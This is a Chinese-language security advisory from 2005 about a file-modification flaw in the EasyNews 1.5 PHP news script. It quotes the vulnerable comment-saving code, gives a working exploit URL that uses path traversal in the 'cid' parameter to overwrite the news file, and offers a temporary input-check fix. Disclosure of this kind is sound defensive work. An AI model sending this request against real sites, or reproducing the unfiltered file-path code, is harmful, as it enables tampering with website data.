EasyNews数据库/模板文件修改漏洞
2005-08-11
系统编号:
WAVDB-00094
BUGTRAQ: 3643
影响版本:
EasyNews 1.5
程序介绍:
EasyNews是一款免费,开放源代码的站点新闻脚本。
漏洞分析:
该脚本存在一个安全问题,可能导致远程攻击者修改新闻数据库或模板文件信息。
这是由于“index.php”没有对用户输入的“$cid”变量进行过滤的结果,有问题的代
码如下:
---cut---
function save($datei, $eintragen)
{
$fp = fopen($datei, w );
fwrite($fp, $eintragen);
fclose($fp);
}
if($name&&$email&&$kommentar)
{
$message = <font face=\ Verdana, Arial, Sans-Serif\
size=\ 2\ ><center>Vielen Dank für Ihren Kommentar!
<a
href=\ $PHP_SELF?action=comments&id=$id&cid=$cid\ >Zurück zu den
Kommentaren</a><center></font> ;
if(!file_exists( ./kommentare/$cid.dat )) save( ./kommentare/$cid.dat , );
$line = file( ./kommentare/$cid.dat );
$line[sizeof($line)] = $name,$email,$datum,$zeit,$kommentar\n ;
save( ./kommentare/$cid.dat ,implode( ,$line));
}
---cut---
漏洞利用:
http://[target]/index.php?action=comments&do=save&id=1&cid=../news&name=11/1
1/11&kommentar=%20&email=hax0r&zeit=you%20suck,11:11,../news,bugs@securityal
ert.com&datum=easynews%20exploited
解决方案:
临时解决方法:
如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁:
* 手工修改“index.php”,在适当位置增加如下代码:
if (eregi( \. ,$cid)) {
die( Invalid cid! );
}
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://easyscripts.power-gaming.de/index.php?page=easynews
信息来源:
<*来源:markus arndt (markus-arndt@web.de)
链接:http://archives.neohapsis.com/archives/bugtraq/2001-12/0000.html
*>